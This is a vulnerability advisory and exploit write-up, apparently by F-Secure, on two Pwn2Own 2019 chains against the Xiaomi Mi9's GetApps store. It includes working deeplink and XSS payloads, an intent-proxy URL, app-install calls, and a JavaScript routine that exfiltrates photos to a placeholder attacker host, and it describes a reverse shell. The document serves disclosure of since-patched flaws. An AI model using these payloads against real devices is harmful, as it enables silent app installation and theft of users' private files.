Xiaomi Mi9 (Pwn2Own 2019)

CVE-2020-9530, CVE-2020-9531

    Type

  • RCE
  • Severity

  • High
  • Affected products

  • Xiaomi Mi9
  • Remediation

  • Both vulnerabilities were patched in GetApps version 2001122 [1] 1. https://sec.xiaomi.com/post/180
  • Date

  • 2020-04-14
  • CVE Reference

  • CVE-2020-9530, CVE-2020-9531

Description

At mobile Pwn2Own 2019 F-Secure Labs successfully exploited the Xiaomi Mi9 using two different exploit chains. An attacker could use these to install applications and access sensitive information from a phone that either browsed to an attacker's website or scanned an NFC tag. Both chains exploited vulnerabilities in the Xiaomi market store 'GetApps' in order gain remote code execution by installing and launching a downloaded APK. The GetApps store is installed on Mi9 phones setup for the Chinese, Russian and several Asian markets. These two vulnerabilities were:

  1. CVE-2020-9530: A redirect vulnerability in a privileged WebView
  2. CVE-2020-9531: An XSS vulnerability in locally stored web pages loaded into a privileged WebView

Technical Details

GetApps (com.xiaomi.mipicks)

GetApps is an Xiaomi proprietary application store pre-installed on Xiaomi devices. The application is built using a number of local HTML files located in the application's sandbox and presented to the user using a WebView. This WebView has a number of interesting JavaScript Interfaces in order to provide app store functionality such as installing and launching apps.
This application can also be launched from the browser and have its WebView directed to an arbitrary URL. This is performed by a deeplink intent using the 'mimarket' scheme and 'browse' host name.

For example:

mimarket://browse?url=https%3A%2F%2Fattacker.com&title=Doom

When the WebView first loads it checks that the target URL is either a trusted local HTML file in the application's sandbox or a hardcoded domain owned by Xiaomi. For external domains they must also use the HTTPS URL scheme.

The list of trusted domains are shown here:

If the WebView tries to load an 'untrusted' URL it loads the page in a restricted WebView without the privileged JavaScript Interface. In order to gain access to this JavaScript interface, F-Secure exploited two different vulnerabilities in the GetApps application to bypass the security mechanisms.

Browser Chain

A high level overview of the chain used in Pwn2Own was:

  1. User selects a link from a web page, SMS message, or email which loads the attacker’s web site in the Xiaomi browser application
  2. Launch Chrome via deeplink and auto-download a HTML file
  3. Launch GetApps via a mimarket link and load an unsafe redirect on a trusted page
  4. Render attacker controlled page in the GetApps trusted WebView
  5. Install APK using a JavaScript Interface
  6. Launch installed application using a JavaScript Interface
  7. Launch SMS app with with an intent to render the downloaded file in its webview
  8. Brute force filesystem names and exfiltrate photo 

File Download and GetApps Launch

For this chain we exfiltrate a file using a WebView in the SMS application which has access to the local file system. However the same origin policy applies and thus we must first download a html file to the local file system to be later rendered in the SMS application.

The Xiaomi browser always prompts for automatic downloads but the Chrome browser does not. So our first step in the chain is to redirect to Chrome and download a file.

The link for a launching Chrome from a browser is as follows:

googlechrome://navigate?url=http://attacker.com/

Once the attacker page is loaded into Chrome an auto download can be initiated by adding an iFrame where the content that is fetched has the header 'Content-Type' set to 'application/force-download', which will trigger a download rather than rendering it in the iFrame:

var force = "http://attacker/force.html";
var iFrame = document.createElement("iframe");
iFrame.src = force;
document.body.appendChild(iFrame);

To set the header we used a small Python web server:

elif self.path=='/force.html':
self.send_response(200)
self.send_header('Content-type','application/force-download')
self.end_headers()
with open('force.html', 'rb') as f:
self.wfile.write(f.read())
return

Once the file finished downloading the page was redirected to a mimarket link as already described to launch the GetApps application, loading a target URL on a trusted domain within the webview.

Unsafe Redirect

In order to subvert the security mechanism of preventing unsafe pages being loaded with access to the privileged market JavaScript interface we exploited a vulnerability in the way the WebView handled page redirects.

When a WebView is redirected to a different page it will call the method shouldOverrideUrlLoading() which checks if the redirect should take place. Although the URL is checked correctly when the WebView is first loaded no further checking was done on a redirect. A method was found on one of the trusted domains to automatically redirect to another website, including those outside of the trusted domains. Thus we were able to trigger a redirect to hijack the trusted WebView and access the privileged JavaScript Interfaces.

Application Install and Launch

Once we control the privileged GetApps WebView we can utilise a wide range of powerful interfaces that allow for a application store to function including the ability to install and launch applications. Installing an application can be done using market.install()

market.install(JSON.stringify({"callBack":"status","pName":"com.whatsapp"}))

and once installed the application could be launched using market.openApp()

market.openApp(JSON.stringify({"pName":"com.whatsapp"}));

At this point we can download and run any application, but we're not great app developers and didn't have time before Pwn2Own to get our app installed; instead we just continued the exploit chain to access sensitive information.

Intent Proxy

The SMS application was used to access the local file system. In order to launch the SMS application and have it load our HTML file in its privileged WebView we sent an intent to the action (com.android.mms.action.VIEW_WEB) of the .hybrid.SmsHybridActivity component of the SMS application. In order to do this we leveraged an arbitrary Intent Proxy that is accessible from a browser or WebView. The proxy is triggered using the mimarket scheme and launchordetail as the host, allowing an arbitrary intent URL to be constructed, HTML encoded and included in the URI parameter in the link. For example the following was used to launch the SMS application and render a downloaded HTML file in the SMS applications WebView:

mimarket://launchordetail?id=com.android.mms&uri=intent%3A%23Intent%3Baction%3Dcom.android.mms.action.VIEW_WEB%3Bcomponent%3Dcom.android.mms%2F.hybrid.SmsHybridActivity%3BS.url%3Dfile%253A%252F%252F%252Fsdcard%252FDownload%252Fforce.html%3Bend

This intent proxy is a feature of the GetApp application and was not removed by Xiaomi after it was reported.

File Exfiltration via SMS Application

The SMS WebView has access to the local file system via the file URL scheme however it is not able to list directory structures. Fortunately, the Xiaomi camera creates predictable file names for photos by appending the datetime to the nearest minute, for example:

/sdcard/DCIM/Camera/IMG_20191102_102437.jpg

To exfiltrate the image we brute forced all possible file names over a single day, sending the extracted data to our server. Image files were read by rendering the image in a canvas and accessing the image data using JavaScript. The exfiltration script for testing a path and extracting the data was as follows:

async function getBase64FromImageUrl(url) {
var img = new Image();
img.setAttribute('crossOrigin', 'anonymous');
img.onload = function () {
var canvas = document.createElement("canvas");
canvas.width =this.width;
canvas.height =this.height;
var ctx = canvas.getContext("2d");
ctx.drawImage(this, 0, 0);
var dataURL = canvas.toDataURL("image/png");
var data = dataURL.replace(/^data:image\/(png|jpg);base64,/, "");
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "http://attacker.com/exfil", true);
xhttp.send(data);
};
img.src = url;
}

NFC Chain

A high level overview of the chain used in Pwn2Own was:

  1. Phone scans a prepared NFC tag and launches the Xiaomi browser with a specific URL
  2. Launch GetApps via a mimarket link and load a trusted local page with XSS payload in the arguments
  3. XSS script creates a reverse JavaScript shell to our server
  4. Enumerate file system to find photo
  5. Exfiltrate photo
  6. Install APK using a JavaScript Interface
  7. Launch installed application using a JavaScript Interface

NFC NDEF

An NFC tag can contain a number of NDEF records for exchanging information with a phone scanning it. A standard NDEF record is the URL record which lets the tag contain a target URL which when scanned can be loaded into a browser. However as the Xiaomi Mi9 has two browsers installed the application window is displayed rather than launching the target URL directly into the browser. However, Android devices also recognise a special NDEF record called "Android Application Record" (AAR) which allows for selecting and launching an application installed on the device.

If a tag is written to so it first contains a URL record and then an AAR record targeting a specific browser the application selection prompt is not displayed and the target URL is rendered in the browser. For our attack the NDEF records on our tag looked like this:

Record 1: (URL) http://attacker.com
Record 2: (AAR) com.android.browser

XSS

Intents cannot be launched using the NFC tag, so an attacker webpage is loaded instead, which immediately launches the following mimarket browsable:

mimarket://browse?title=aaa&url=target

This browsable opens the GetApps application, which as discussed above is implemented using a web view. The URL parameter is the HTML file to load within the web view, which must be stored within the application's local data. One of the accessible HTML files was found to have an XSS vulnerability whereby it includes HTML content from the URL within the file. The following browsable was used to open the HTML file including some injected HTML within the privileged GetApps web view:

mimarket://browse?url=file://manual-upgrade.html?manualUpgradeInfo={"changeLog":"<svg onload%3D\"javascript:j%3Ddocument.createElement('script');j.src%3D'http://10.42.0.1/pl.js';document.getElementsByTagName('head')[0].appendChild(j);\" xmlns%3D\"http://www.w3.org/2000/svg\"></svg>"}&title=butts

This is the human-readable form; multiple levels of encoding are required to form a valid browsable intent. Using the injected HTML to redirect to a website would remove the enhanced privileges, so a JavaScript payload had to be downloaded and inserted into the current page.

Post-exploitation

The GetApps application has universal file access from the WebView as it is required by the application in order to perform normal market functionality. As we are running JavaScript in this context we can access the local file system with the file URL scheme.

While we could just steal a single photo we use a little spare time and drink to glitz it up a bit the night before the Pwn2Own contest. We put together a JavaScript reverse shell which executes commands from a C2 server and returns output to a terminal. During Pwn2Own this was used to browse the filesystem and download all pictures.

As the same WebView was used in the Browser chain, we used the same method for installing and then launching our app to gain code execution.